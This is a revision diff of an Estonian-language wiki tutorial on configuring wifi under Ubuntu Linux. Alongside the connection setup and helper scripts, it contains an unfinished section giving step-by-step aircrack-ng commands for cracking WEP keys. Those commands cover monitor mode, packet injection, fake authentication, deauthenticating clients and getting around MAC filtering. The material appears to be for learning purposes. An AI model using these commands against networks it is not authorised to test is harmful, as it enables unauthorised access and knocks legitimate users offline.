Linux ja wifi: Difference between revisions
(58 intermediate revisions by the same user not shown) | |||
Line 3: | Line 3: | ||
'''ARTIKKEL ON HETKEL POOLELI!!''' st. et ärge lõpust midagi otsige :D | '''ARTIKKEL ON HETKEL POOLELI!!''' st. et ärge lõpust midagi otsige :D | ||
Antud artikkel püüab lühidalt kokku võtta Wifi ühenduse konfigureerimise Linuxis. | Antud artikkel püüab lühidalt kokku võtta Wifi ühenduse konfigureerimise ja kasutamise Linuxis. | ||
Näited põhinevad Linuxi distributsioonidel Ubuntu Karmic 9.10 ja Estobuntu 9.10.1 . | Näited põhinevad Linuxi distributsioonidel Ubuntu Karmic 9.10 ja Estobuntu 9.10.1 . | ||
Tõenäoliselt on need juhised kasutatavad ka paljudes teistes, eriti Debianil põhinevates Linuxi distributsioonides. | Tõenäoliselt on need juhised kasutatavad ka paljudes teistes, eriti Debianil põhinevates Linuxi distributsioonides. | ||
Line 39: | Line 39: | ||
# sudo apt-get install aircrack-ng | # sudo apt-get install aircrack-ng | ||
</pre> | </pre> | ||
= Kasutatavad tööriistad = | |||
'''iwlist''' - wifi võrkude otsimine. Kasutamisnäide [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#Wifi_v.C3.B5rkude_otsimine siin]. | |||
'''iwconfig''' - wifi seadme konfigureerimine. Kasutamisnäited: [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#.C3.9Chendumine_turvamata_v.C3.B5rku turvamata võrguga ühendumine], [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#iwconfig_rakendusega_seadistamine WEP protokolliga turvatud võrku ühendumine] | |||
'''wpa_password''' - paroolist PSK võtme genereerimine. Kasutamisnäide [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#.C3.9Chendumine_WPA.2FWPA2_protokolliga_turvatud_v.C3.B5rku siin]. | |||
'''wpa_supplicant''' | |||
'''airmon-ng''' | |||
'''airodump-ng''' | |||
'''aireplay-ng''' | |||
'''aircrack-ng''' | |||
= Kasutatavad lühendid = | |||
Et mitte teemat väga kirjuks ja pikaks ajada, kirjutaks lahti mõned edaspidi kasutatavad lühendid: | |||
* AP - i.k. Access-Point. Mingile võrgule (mis ei pea tingimata olema internet) juhtmeta ligipääsu võimaldav seade. Kodustes oludes n. wifi ruuter. vt lisa [http://en.wikipedia.org/wiki/Access_point http://en.wikipedia.org/wiki/Access_point] | |||
* PSK - i.k. Pre-Shared Key. Wifi võrgule ligipääsu tagamiseks kasutatav võti, mis on vaja igale kasutajale anda. Turvalisus hea, kuid nõrkadeks kohtadeks ikka rumal kasutaja, kes võib seda edasi jagada või siis lasta oma arvutist varastada. vt lisa [http://en.wikipedia.org/wiki/Pre-shared_key http://en.wikipedia.org/wiki/Pre-shared_key] | |||
* MAC, MAC aadress - i.k. Media Access Control address. Võrguseadme füüsiline aadress. Kasutatakse andmelülikihi protokollis Ethernet (OSI mudeli teine kiht). vt lisa [http://en.wikipedia.org/wiki/MAC_address http://en.wikipedia.org/wiki/MAC_address] | |||
* IV, Initialization Vector - suvaline kindla pikkusega bitijada. Kasutatakse krüpteerimisel, et sama võtmega krüpteeritud infovood oleksid unikaalsed. vt lisa [http://en.wikipedia.org/wiki/Initialization_vector http://en.wikipedia.org/wiki/Initialization_vector] | |||
= Võrgu seadistamine = | = Võrgu seadistamine = | ||
Line 246: | Line 276: | ||
Ülaltoodud näites on 3 wifi võrku: | Ülaltoodud näites on 3 wifi võrku: | ||
'''Cell 01''' ESSID on "foo", võrk on turvamata (Encryption key:off), võrk töötab kanalil 7, signaali tugevus 35/70 (käib kah) ning | '''Cell 01''' ESSID on "foo", võrk on turvamata (Encryption key:off), võrk töötab kanalil 7, signaali tugevus 35/70 (käib kah) ning AP MAC aadress on 00:90:D0:F7:23:62. | ||
'''Cell 02''' ESSID on "kala", võrk on turvatud (Encryption key:on), kuna ei ole infot et tegu WPA/WPA2 võrguga siis protokoll WEP. võrk töötab kanalil 11, signaali tugevus 23/70 (nõrk) ning | '''Cell 02''' ESSID on "kala", võrk on turvatud (Encryption key:on), kuna ei ole infot et tegu WPA/WPA2 võrguga siis protokoll WEP. võrk töötab kanalil 11, signaali tugevus 23/70 (nõrk) ning AP MAC aadress on 00:90:D0:F7:23:62. | ||
'''Cell 03''' ESSID on "toru", võrk on turvatud (Encryption key:on), protokoll WPA2. võrk töötab kanalil 7, signaali tugevus 70/70 (väga hea) ning | '''Cell 03''' ESSID on "toru", võrk on turvatud (Encryption key:on), protokoll WPA2. võrk töötab kanalil 7, signaali tugevus 70/70 (väga hea) ning AP MAC aadress on 00:18:39:21:08:B2. | ||
=== Ühendumine turvamata võrku === | === Ühendumine turvamata võrku === | ||
Line 263: | Line 293: | ||
# sudo iwconfig wlan0 essid foo channel 7 ap 00:90:D0:F7:23:62 | # sudo iwconfig wlan0 essid foo channel 7 ap 00:90:D0:F7:23:62 | ||
</pre> | </pre> | ||
Vastavalt siis wlan0 - wifi seadme nimi, foo on võrgunimi ehk ESSID, channel 7 - seitsmes kanal ja ap 00:90:D0:F7:23:62 on | Vastavalt siis wlan0 - wifi seadme nimi, foo on võrgunimi ehk ESSID, channel 7 - seitsmes kanal ja ap 00:90:D0:F7:23:62 on AP mac aadress. | ||
Peale seda ei jää muud üle, kui küsida DHCP kaudu oma arvutile IP aadress: | Peale seda ei jää muud üle, kui küsida DHCP kaudu oma arvutile IP aadress: | ||
Line 276: | Line 306: | ||
'''!!''' [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#Wifi_seadme_kindlakstegemine Veendu, et võrguseadme olek oleks UP] | '''!!''' [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#Wifi_seadme_kindlakstegemine Veendu, et võrguseadme olek oleks UP] | ||
Järgevad näited on ülaltoodud võrkude otsimisel leitud '''Cell 02''' baasil. Seadistada saab nii wpa_supplicant kui ka iwconfig rakendusega. Vali ise omale sobiv. Arvesta ka sellega, et WEP protokoll toetab kaht krüpteeringut: '''64bit''' ja '''128bit'''. Esimene koosneb 40 bitisest võtmest (10 kuueteistkümnendsüsteemi numbrit), millele lisatakse 24 bitine IV (Initialization Vector). Teine koosneb 104 bitisest võtmest ning samuti 24 bitisest IV-st. | Järgevad näited on ülaltoodud võrkude otsimisel leitud '''Cell 02''' baasil. Seadistada saab nii ''wpa_supplicant'' kui ka ''iwconfig'' rakendusega. Vali ise omale sobiv. Arvesta ka sellega, et WEP protokoll toetab kaht krüpteeringut: '''64bit''' ja '''128bit'''. Esimene koosneb 40 bitisest võtmest (10 kuueteistkümnendsüsteemi numbrit), millele lisatakse 24 bitine IV (Initialization Vector). Teine koosneb 104 bitisest võtmest ning samuti 24 bitisest IV-st. | ||
Näide: 40 ja 104 bitised võtmed: | Näide: 40 ja 104 bitised võtmed: | ||
Line 313: | Line 343: | ||
==== iwconfig rakendusega seadistamine ==== | ==== iwconfig rakendusega seadistamine ==== | ||
<pre> | <pre> | ||
# sudo iwconfig wlan0 mode managed essid foo channel auto key 384ABBB4AD34F81ED84F3AE189 | # sudo iwconfig wlan0 mode managed essid foo channel auto key 384ABBB4AD34F81ED84F3AE189 | ||
Line 339: | Line 368: | ||
Järgevad näited on ülaltoodud võrkude otsimisel leitud '''Cell 03''' baasil. | Järgevad näited on ülaltoodud võrkude otsimisel leitud '''Cell 03''' baasil. | ||
Esimese asjana on vaja genereerida wifi | Esimese asjana on vaja genereerida wifi AP paroolist PSK võti ning seejärel tekitada sobiv konfiguratsioonifail. | ||
''wpa_password'' rakendus on siinkohal abiks, genereerib võtme ning teeb osa konfiguratsioonifailist ka valmis. | ''wpa_password'' rakendus on siinkohal abiks, genereerib võtme ning teeb osa konfiguratsioonifailist ka valmis. | ||
Line 347: | Line 376: | ||
# wpa_passphrase toru password | # wpa_passphrase toru password | ||
</pre> | </pre> | ||
Antud näites on '''toru''' | Antud näites on '''toru''' AP ESSID ning password on parool. | ||
Käsu väljund on järgmine: | Käsu väljund on järgmine: | ||
Line 379: | Line 408: | ||
Vastavalt vajadusele võib kasutada veel ka järgmisi parameetreid: | Vastavalt vajadusele võib kasutada veel ka järgmisi parameetreid: | ||
'''priority=2''' - võrgu prioriteet. Kui samas konfiguratsioonifailis on kirjeldatud mitu võrku ning mitu | '''priority=2''' - võrgu prioriteet. Kui samas konfiguratsioonifailis on kirjeldatud mitu võrku ning mitu neist on samal ajal kättesaadavad, siis tehakse ühendumisel valik prioriteedi järgi. Antud juhul siis prioriteediks 2. | ||
'''scan_ssid=1''' - kasutada juhul, kui | '''scan_ssid=1''' - kasutada juhul, kui AP ei näita oma nime (ESSID). | ||
Kui konfiguratsioonifail valmis, pole muud, kui võrgukaart järgneva käsuga ära seadistada: | Kui konfiguratsioonifail valmis, pole muud, kui võrgukaart järgneva käsuga ära seadistada: | ||
Line 393: | Line 422: | ||
</pre> | </pre> | ||
Ainuke erinevus WPA ja WPA2 võrku ühendumisel on määratud turvaprotokoll konfiguratsioonifailis (proto=WPA või proto=WPA2). | |||
=== Ad-Hoc võrgu seadistamine === | === Ad-Hoc võrgu seadistamine === | ||
= | Ad-hoc on wifi võrk kahe arvuti vahel ilma wifi ruuterite ja AP-deta. | ||
Kuna kordamine on tarkuse ema, siis tuletan siinkohal meelde, et võrguhalduri teenus on vaja seisata: | |||
Käivita kõikidel arvutitel käsk: | |||
<pre> | |||
# sudo service network-manager stop | |||
</pre> | |||
Seejärel pane kõikidel arvutitel wifi seade ad-hoc reziimi samale kanalile ning samanimelisse wifi võrku: | |||
<pre> | |||
# sudo iwconfig wlan0 mode Ad-hoc essid kala channel 9 | |||
</pre> | |||
kus '''wlan0''' on wifi seade, '''kala''' on võrgu nimi ning '''9''' on kanal, millel võrk töötab. | |||
Edasi on vaja seadistada kõikide arvutite IP aadressid ja võrgumaskid. Kui ühel arvutil töötab [https://wiki.itcollege.ee/index.php/DHCP_teenus_Ubuntu_Server_s%C3%BCsteemis DHCP server], siis saab IP aadressi seadistada automaatselt, vastasel juhul käsitsi. | |||
Üldiselt ei ole mõtet [https://wiki.itcollege.ee/index.php/DHCP_teenus_Ubuntu_Server_s%C3%BCsteemis DHCP serveriga] jamada, kui seadistad võrku ajutiseks kasutamiseks. Käsitsi seadistamine on piisavalt lihtne. | |||
Käsitsi seadistamiseks kasuta ifconfig käsku: | |||
<pre> | |||
# sudo ifconfig wlan0 up | |||
# sudo ifconfig wlan0 netmask 255.255.255.0 192.168.1.1 | |||
</pre> | |||
Esimese käsuga lülitame sisse wifi seadme, teisega konfigureerime ip aadressi ja võrgumaski. | |||
Kus '''wlan0''' on wifi seade, '''192.168.1.1''' on ip aadress ja '''255.255.255.0''' võrgumask. | |||
'''!''' Teistel arvutitel seadista ip aadressiks loomulikult mingi teine IP aadress, et ei tekiks konflikti n. 192.168.1.2, 192.168.1.3 jne. Võrgumask peab jääma samaks. | |||
'''!''' Kui soovid, et seadistus säiliks ka peale arvuti restarti, siis kirjuta IP aadress ja võrgumask faili ''/etc/network/interfaces'' . Juhendeid selle faili modifitseerimiseks leiad internetist. | |||
'''!''' Kõik seadmed, mis on seadistatud ''/etc/network/interfaces failis'' , ei ole hiljem enam seadistatavad võrguhalduri rakenduse kaudu! Võrguhaldur ignoreerib neid seadmeid. | |||
Võrgu toimise kontrollimiseks pingi käsurealt teist arvutit. Kui ping toimib siis tõenäoliselt ka ülejäänud konfigureeritud teenused. Failide ühest arvutist teise tõstmiseks on kõige lihtsam kasutada [https://wiki.itcollege.ee/index.php/Failiserveri_labor_v.2 samba teenust]. | |||
= WEP/WPA/WPA2 turvaprotokollide murdmine = | |||
'''!!''' [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#Seadistamine_2:_K.C3.A4surealt Veendu, et network-manager teenus oleks väljalülitatud] | |||
'''!!''' [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#Wifi_seadme_kindlakstegemine Veendu, et võrguseadme olek oleks UP] | |||
'''!!''' [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#olulised_paketid Veendu, et aircrack-ng pakett oleks installeeritud] | |||
Et turvatud võrkudele ligi pääseda, peab nende võtme kuidagi välja nuputama. WEP protokoll on piisavalt ebaturvaline, et võti teatud vahenditega kätte saada, ilma sõnastikupõhist rünnet kasutamata. Samas on selle eelduseks see, et keegi edukalt autentinud (ehk õiget võtit omav) tegelane parasjagu võrku kasutab. | |||
WPA/WPA2 puhul on mõistlikud ainult sõnastikupõhised ründed. Kõikvõimalike kombinatsioonide läbiproovimine võib võtta aastaid, umbkaudse ettekujutuse saab [http://lastbit.com/pswcalc.asp siit]. | |||
== Võrkude otsimine == | |||
Et sobiv "ohver" leida, ei piisa lihtsalt '''iwlist''' rakendusega nähtavate võrkude otsimisest. Näiteks WEP võtme leidmiseks on vaja näha ka AP kliente. | |||
Seega alustaks sellest, et lülitaks wifi seadme monitor režiimi: | |||
<pre> | |||
# sudo airmon-ng start wlan0 | |||
</pre> | |||
Selle käsu peale tekitatakse uus, nö. monitor seade, vaikimisi ''mon0'' (nimi käsu väljundist leitav n. "monitor mode enabled on mon0"). | |||
Tähelepanu! Kõik wifi seadmed ei toeta monitor režiimi. | |||
Seejärel paneme käima skänneri eelpool tekitatud seadmele: | |||
<pre> | |||
# sudo airodump-ng mon0 | |||
</pre> | |||
Skänneri väljund on näiteks järgmine: | |||
CH 10 ][ Elapsed: 2 mins ][ 2010-04-22 21:11 | |||
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID | |||
'''00:18:39:21:08:B2 -41''' 122 92 0 '''7''' 54e. '''WEP''' WEP '''foo''' | |||
00:90:D0:F7:23:62 -80 608 11 0 11 54e WEP WEP SpeedTouch6D184F | |||
00:0D:0B:87:78:6F -86 224 0 0 7 54 WPA CCMP PSK elektrikaar 2 | |||
00:16:01:A1:EE:BD -86 126 3 0 1 54e OPN 001601A1EEBD | |||
00:21:91:2F:75:37 -87 157 0 0 6 54 . WEP WEP STV-AERO667 | |||
00:90:D0:F3:9B:7A -1 0 1 0 108 -1 WEP WEP <length: 0> | |||
00:17:9A:D3:2F:38 -92 2 11 0 13 54e. OPN <length: 5> | |||
00:16:B6:D9:76:8C -91 4 0 0 11 54 WPA TKIP PSK kolja | |||
BSSID STATION PWR Rate Lost Packets Probes | |||
'''00:18:39:21:08:B2''' '''C4:17:FE:2F:9B:AF''' 0 1e- 1e 0 149 '''foo''' | |||
00:16:01:A1:EE:BD 00:16:EA:70:26:06 -1 1e- 0 0 1 | |||
00:90:D0:F3:9B:7A 00:1C:10:6C:EA:15 -81 0 - 1 0 8 | |||
(not associated) 00:22:FA:09:FC:48 -88 0 - 1 0 3 TRENDnet | |||
Antud näite puhul on väljundis näha juba eelnevatest peatükkidest tuttav WEP protokolliga turvatud võrk '''foo'''. Väljundis on olulisemad detailid rasvaselt tähistatud. Näha on ka see, et nagu tellitult on sellega edukalt seotud ka üks arvuti, mille MAC aadress on '''00:18:DE:77:12:B2'''. Kui sobiv märklaud leitud, siis katkesta skänneri töö (CTRL+C), sest skänneri töö ajal muudetakse wifi seadme kanalit mitu korda sekundis, mis välistab igasugu edasised tegevused "ohvri" kanalil. | |||
'''Lisainfoks:''' | |||
Vajaduse korral võib monitor seadme panna tööle kindlale kanalile, selleks tuleb monitor seadme käivitamisel lisada käsurea lõppu kanali number: | |||
<pre> | |||
# sudo airmon-ng start wlan0 | |||
</pre> | |||
Monitor seadme saab peatada järgneva käsuga: | |||
<pre> | |||
# sudo airmon-ng stop wlan0 | |||
</pre> | |||
== WEP == | |||
WEP võtme leidmiseks vali skänneri väljundist välja WEP võrk, millega on edukalt seotud mingi teine arvuti. Kui teine arvuti on skänneri väljundis näha, siis ilmselt mingi liiklus AP ja kliendi vahel toimub mis teeb võtme leidmise võimalikuks. | |||
Antud juhul siis valime väljundist '''foo''' võrgu, mille ESSID on mõistagi '''foo''', AP MAC aadress on '''00:18:39:21:08:B2''', ning mis töötab kanalil '''7''' . | |||
Lisaks on edasistes toimetustes tarvis teada sinu arvuti wifi seadme MAC aadressi, mille leiad järgneva käsu abil: | |||
<pre> | |||
# ifconfig wlan0 | |||
</pre> | |||
Allolevas käsu väljundis on wifi seadme MAC aadress märgitud rasvases kirjas: | |||
wlan0 Link encap:Ethernet HWaddr '''00:18:de:77:12:b2''' | |||
inet aadress:192.168.1.100 bcast:192.168.1.255 mask:255.255.255.0 | |||
inet6 aadr: fe80::218:deff:fe77:12b2/64 skoop:ühendus | |||
UP BROADCAST RUNNING MULTICAST MTU:1500 meetrika:1 | |||
RX pakette:6281 vigu:0 ära visatud:0 ületäit:0 kaadri vigu:0 | |||
TX pakette:5056 vigu:0 ära visatud:0 ületäit:0 carrier:0 | |||
kollisioone:0 txqueuelen:1000 | |||
RX baite:6681822 (6.6 MB) TX baite:632586 (632.5 KB) | |||
=== Ühenduse kontroll === | |||
Kontrollime, et ühendus AP-ga oleks kvaliteetne ning et pakettide saatmine (packet injection) töötaks. Kui asi ei toimi, siis pole edasistel tomingutel mõtet: | |||
Kontrollimiseks käivita käsk: | |||
<pre> | |||
# sudo aireplay-ng -9 -e foo -a 00:18:39:21:08:B2 mon0 | |||
</pre> | |||
kus '''foo''' on valitud võrgu ESSID, '''00:18:39:21:08:B2''' on AP MAC. | |||
Käsu väljund on umbes järgmine: | |||
For information, no action required: Using gettimeofday() instead of /dev/rtc | |||
21:46:43 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7 | |||
21:46:44 Trying broadcast probe requests... | |||
21:46:44 Injection is working! | |||
21:46:46 Found 1 AP | |||
21:46:46 Trying directed probe requests... | |||
21:46:46 00:18:39:21:08:B2 - channel: 7 - 'foo' | |||
21:46:48 Ping (min/avg/max): 2.223ms/68.812ms/80.577ms Power: -28.03 | |||
21:46:48 '''30/30: 100%''' | |||
Kui rasvases kirjas tähistatud protsent on väike, siis oled ilmselt AP-st liiga kaugel ning sinu arvuti wifi signaal ei jõua korralikult AP-ni. | |||
=== Initsialiseerimisvektorite (IV) kogumine === | |||
Kasutame airodump-ng rakendust järgneval viisil: | |||
<pre> | |||
# sudo airodump-ng -c 7 --bssid 00:18:39:21:08:B2 -w foo_dump -i mon0 | |||
</pre> | |||
Kus '''7''' on kanal, millel '''foo''' võrk töötab. '''00:18:39:21:08:B2''' on AP MAC. '''foo_dump''' on faili nimi, kuhu IV-d salvestatakse ning '''mon0''' on monitor režiimis olev seade. | |||
Väljund on umbes selline: | |||
CH 7 ][ Elapsed: 17 mins ][ 2010-05-06 21:42 | |||
BSSID PWR RXQ Beacons '''#Data, #/s''' CH MB ENC CIPHER AUTH ESSID | |||
00:18:39:21:08:B2 -26 1 960 '''1562 0''' 7 54e. WEP WEP OPN foo | |||
BSSID STATION PWR Rate Lost Packets Probes | |||
00:18:39:21:08:B2 00:18:DE:77:12:B2 0 0 - 1 0 875753 | |||
00:18:39:21:08:B2 C4:17:FE:2F:9B:AF -29 0 - 1 474 1478 | |||
Olulised asjad mida jälgida, on märgitud rasvases kirjas. Juttu tuleb neist [https://wiki.itcollege.ee/index.php/Linux_ja_wifi#Alustame_pakettide_saatmist_.28package_injection.29 pakettide saatmise osas] . | |||
=== Sinu wifi seadme MAC aadressi sidumine AP-ga === | |||
On vajalik, et AP ei ignoreeriks sinu poolt saadetavaid pakette. Ava uus terminaliaken (sest IV-de kogumine peab jääma käima) ning käivita järgmine käsk: | |||
<pre> | |||
# sudo aireplay-ng -1 0 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0 | |||
</pre> | |||
Kus '''foo''' on valitud võrgu ESSID, '''00:18:39:21:08:B2''' on AP MAC, '''00:18-DE-77-12-B2''' sinu wifi seadme MAC ning '''mon0''' jällegi monitor režiimis olev seade. | |||
Eduka sidumise puhul on väljundiks midagi sellist: | |||
21:59:27 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7 | |||
21:59:28 Sending Authentication Request (Open System) [ACK] | |||
21:59:28 Authentication successful | |||
21:59:28 Sending Association Request [ACK] | |||
21:59:28 Association successful :-) (AID: 1) | |||
Kui sidumine ei õnnestunud, siis ilmselt on AP-l peal MAC aadresside filtreering - ligipääs lubatud ainult kindlate MAC aadressidega seadmetelt. | |||
Selle vastu peaks aitama (kontrollimata) see, et oma wifi seadme mac aadressi asemel sisestada AP-ga seotud seadme MAC. Loomulikult tähendab see seda, et peale võtme leidmist tuleb ühenduse saamiseks oma wifi seadme MAC aadress ära muuta. | |||
Osade AP-de puhul tuleb sidumist iga natukese aja tagant korrata, selleks sobib järgmine käsk: | |||
<pre> | |||
# sudo aireplay-ng -1 6000 -o 1 -q 10 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0 | |||
</pre> | |||
Kus '''6000''' on sidumise kordus intervall (6000 sekundit), '''-o 1''' on ainult ühe pakettide komplekti samaaegseks saatmiseks, '''-q 10''' saadab iga 10 sekundi tagant ''keep alive'' paketi, '''foo''' on valitud võrgu ESSID, '''00:18:39:21:08:B2''' on AP MAC, '''00:18-DE-77-12-B2''' sinu wifi seadme MAC ning '''mon0''' jällegi monitor režiimis olev seade. | |||
Väljund on umbes selline: | |||
21:43:59 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7 | |||
21:43:59 Sending Authentication Request (Open System) [ACK] | |||
21:43:59 Authentication successful | |||
21:43:59 Sending Association Request [ACK] | |||
21:43:59 Association successful :-) (AID: 1) | |||
21:44:09 Sending keep-alive packet | |||
21:44:19 Sending keep-alive packet | |||
21:44:29 Sending keep-alive packet | |||
=== Alustame pakettide saatmist (package injection) === | |||
See operatsioon on mõeldud IV-de kiireks kogumiseks. Alternatiivina peaks wifi võrku kuulama pikka aega, et sellega seotud seadmete tekitatud liiklusest piisav kogus IV-si välja nuuskida. | |||
<pre> | |||
# sudo aireplay-ng -3 -b 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0 | |||
</pre> | |||
Väljund on umbes selline: | |||
<varsti tuleb siia väljund> | |||
=== Seotud klientide lahtiühendamine === | |||
Kui soovid tekitada natuke liiklust ja/või kasutada ühendumiseks mingi AP-ga seotud arvuti MAC aadressi, siis võid proovida järgnevat käsku: | |||
<pre> | |||
# sudo aireplay-ng -0 1 -a 00:18:39:21:08:B2 -c C4:17:FE:2F:9B:AF mon0 | |||
</pre> | |||
Kus '''00:18:39:21:08:B2''' on AP MAC, '''C4:17:FE:2F:9B:AF''' lahtiühendatava kliendi MAC ning '''mon0''' jällegi monitor režiimis olev seade. Kliendi MAC aadressi ärajätmisel ühendatakse lahti kõik seotud seadmed k.a. sinu enda oma. | |||
Ideaalis võiks väljund olla järgnev: | |||
21:49:29 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7 | |||
21:49:31 Sending 64 directed DeAuth. STMAC: [C4:17:FE:2F:9B:AF] ['''64|64''' ACKs] | |||
Rasvases kirjas märgitud numbrid näitavad AP ja lahtiühendatava kliendi vastuseid saadetud ''de-auth'' pakettidele. Numbrid võivad olla suurema, kui kliendi ja AP vahel toimib aktiivne liiklus. | |||
Paha lugu on siis, kui lahtiühendatav klient ei ürita automaatselt tagasi ühenduda - mingit edasist liiklust ei toimu. | |||
=== Võtme leidmine === | |||
<pre> | |||
# sudo aircrack-ng -z -b 00:18:39:21:08:B2 foo_dump*.ivs | |||
</pre> | |||
või siis | |||
<pre> | |||
# sudo aircrack-ng -a 1 -0 -n 128 foo_dump*.ivs | |||
</pre> | |||
== WPA/WPA2 == | |||
= Abiks skriptid = | = Abiks skriptid = | ||
Allolevad skriptid tuleks salvestada faili ning anda failile ''chmod'' käsuga käivitusõigus. | Allolevad skriptid tuleks salvestada faili ning anda failile ''chmod'' käsuga käivitusõigus. | ||
'''Järgnev skript on parima leviga vabasse wifi võrku ühendumise automatiseerimiseks.''' Töötab väga hästi IT Kolledzis. | '''Järgnev skript on parima leviga vabasse wifi võrku ühendumise automatiseerimiseks.''' Töötab väga hästi IT Kolledzis (v.a. võrgulaboris, kus kohalikud ilma võrguühenduseta AP-d on tugevama signaaliga). | ||
<pre> | <pre> | ||
Line 449: | Line 741: | ||
};\ | };\ | ||
}END{\ | }END{\ | ||
print "found networks:"; print "Cell ESSID Channel AP Quality";\ | print "found networks:"; print "Cell ESSID Channel AP Quality Encryption";\ | ||
for ( f in namearray ){\ | for ( f in namearray ){\ | ||
print namearray[f],essidarray[f],channelarray[f],aparray[f],qualityarray[f];\ | print namearray[f],essidarray[f],channelarray[f],aparray[f],qualityarray[f],encarray[f];\ | ||
}; \ | }; \ | ||
if ( maxqi != 0 ){\ | if ( maxqi != 0 ){\ | ||
Line 462: | Line 754: | ||
</pre> | </pre> | ||
'''Järgnev skript on abiks kui soovid lihtsalt ja kiirelt olemasolevate konfiguratsioonidfailide abil tuttavasse, WEP,WPA või WPA2 protokolliga turvatud võrku ühendada.''' Wifi võrguseadme nimi tuleks skriptis ise ära muuta, kui see ei ole wlan0 . | |||
<pre> | |||
#!/bin/bash | |||
# Connect to WEP/WPA/WPA2 network using configurationfiles. written by Argo Ellisson | |||
# default wifi device name | |||
WD="wlan0" | |||
# Stop network-manager service and bring device up just in case | |||
sudo service network-manager stop > /dev/null 2>&1 | |||
sudo ifconfig $WD up > /dev/null 2>&1 | |||
if [ $# == 0 ]; then | |||
# connect using default configurationfile | |||
sudo wpa_supplicant -D wext -i $WD -c /etc/wpa_supplicant/wpa_supplicant.conf & | |||
else | |||
# connect to some other network with wpa_supplicant configurationfile given as a parameter | |||
sudo wpa_supplicant -D wext -i $WD -c $1 & | |||
fi | |||
sudo dhclient $WD | |||
</pre> | |||
= Puuduvad teemad ehk "to do" list = | |||
Selle artikli juures võiks pikemalt lahti seletada veel järgmised asjad: | |||
* Madwifi draiveri installeerimine | |||
* wlanconfig utiliit, mis sisaldub madwifi-tools paketis | |||
* kismet utiliidi installeerimine ja kasutamine koos GPS seadmega wifi võrkude kaardistamiseks | |||
* Tehase poolt määratud vaikimisi ESSID järgi WEP/WPA võtmete leidmine - n. SpeedTouchi ruuterite puhul saab seda teha [http://www.nickkusters.com/SpeedTouch.aspx siit] | |||
* MAC aadresside võltsimine (MAC address spoofing), n. macchanger utiliidi abil. | |||
* Rainbow tabelite abil WPA võtmete otsimine | |||
* Autentimine Radius serveri abil | |||
= Juhendist = | = Juhendist = | ||
Juhendi | Juhendi koostasid: | ||
* Argo Ellisson | * Argo Ellisson | ||
Kasutatud materjalid: | Kasutatud materjalid: | ||
Line 479: | Line 814: | ||
* http://www.susegeek.com/wireless/iwconfig-wireless-interface-configuration-utility-in-linux/ | * http://www.susegeek.com/wireless/iwconfig-wireless-interface-configuration-utility-in-linux/ | ||
* http://www.grape-info.com/doc/linux/config/aircrack-ng-0.6.html | |||
* http://www.aircrack-ng.org/doku.php | |||
Versioonide ajalugu: | Versioonide ajalugu: |
Latest revision as of 14:30, 19 May 2010
Üldinformatsioon
ARTIKKEL ON HETKEL POOLELI!! st. et ärge lõpust midagi otsige :D
Antud artikkel püüab lühidalt kokku võtta Wifi ühenduse konfigureerimise ja kasutamise Linuxis. Näited põhinevad Linuxi distributsioonidel Ubuntu Karmic 9.10 ja Estobuntu 9.10.1 . Tõenäoliselt on need juhised kasutatavad ka paljudes teistes, eriti Debianil põhinevates Linuxi distributsioonides.
Oma Debianil põhineva distributsiooni infot näed käsuga:
# cat /etc/lsb-release
Eeldused
Linuxi käsurea elementaarne kasutusoskus on igal juhul abiks.
Töötav wifi seade
Peamine eeldus on see, et sinu arvuti wifi kaart töötab ehk sobivad moodulid on kernelisse laetud. Seda saad kontrollida alloleva käsuga. Kui käsu väljundis on nähtav wifi seade n. wlan0, ath0 vms. siis on sinu arvuti ilmselt võimeline seda ka kasutama.
# ifconfig -a
Nähes väljundis ainult seadmeid lo,pan0,eth0,eth1 vms. seadmeid pead oma wifi kaardile sobiva mooduli installeerima. Selleks tuvasta kõigepealt oma kaardi tootja ning mudel kasutades käske lspci (sisseehitatud seadmed PCI siinil), lsusb (USB pesas olevad seadmed) või lspcmcia (PCMCIA pessa käivad seadmed). Edasi mine ja googelda n. "<seadme nimi ja mudel> linux wifi", sest riistvara seadistamine ei ole selle artikli eesmärk.
olulised paketid
Järgnevad paketid peaksid olema installeeritud, et kasutada selles artiklis kirjeldatud trikke:
- wpasupplicant - ilma selleta ei saa ühenduda WPA/WPA2 protokolliga turvatud võrkudega. Vaikimisi installeeritud Ubuntu 9.10, Estobuntu 9.10.1 süsteemides.
- wireless-tools - sisaldab vajalikke käsurea-rakendusi iwlist,iwconfig jne. Vaikimisi installeeritud Ubuntu 9.10, Estobuntu 9.10.1 süsteemides.
- aircrack-ng - pakett sisaldab abiks rakendusi wifi võrkude otsimiseks ja turvalisuse murdmiseks. Saadaval ametlikes repositooriumides.
Kui midagi puudu, siis installeerimiseks kasuta järgmist käsku (paketinimi muuda vajadusel ise ära):
# sudo apt-get install aircrack-ng
Kasutatavad tööriistad
iwlist - wifi võrkude otsimine. Kasutamisnäide siin.
iwconfig - wifi seadme konfigureerimine. Kasutamisnäited: turvamata võrguga ühendumine, WEP protokolliga turvatud võrku ühendumine
wpa_password - paroolist PSK võtme genereerimine. Kasutamisnäide siin.
wpa_supplicant
airmon-ng
airodump-ng
aireplay-ng
aircrack-ng
Kasutatavad lühendid
Et mitte teemat väga kirjuks ja pikaks ajada, kirjutaks lahti mõned edaspidi kasutatavad lühendid:
- AP - i.k. Access-Point. Mingile võrgule (mis ei pea tingimata olema internet) juhtmeta ligipääsu võimaldav seade. Kodustes oludes n. wifi ruuter. vt lisa http://en.wikipedia.org/wiki/Access_point
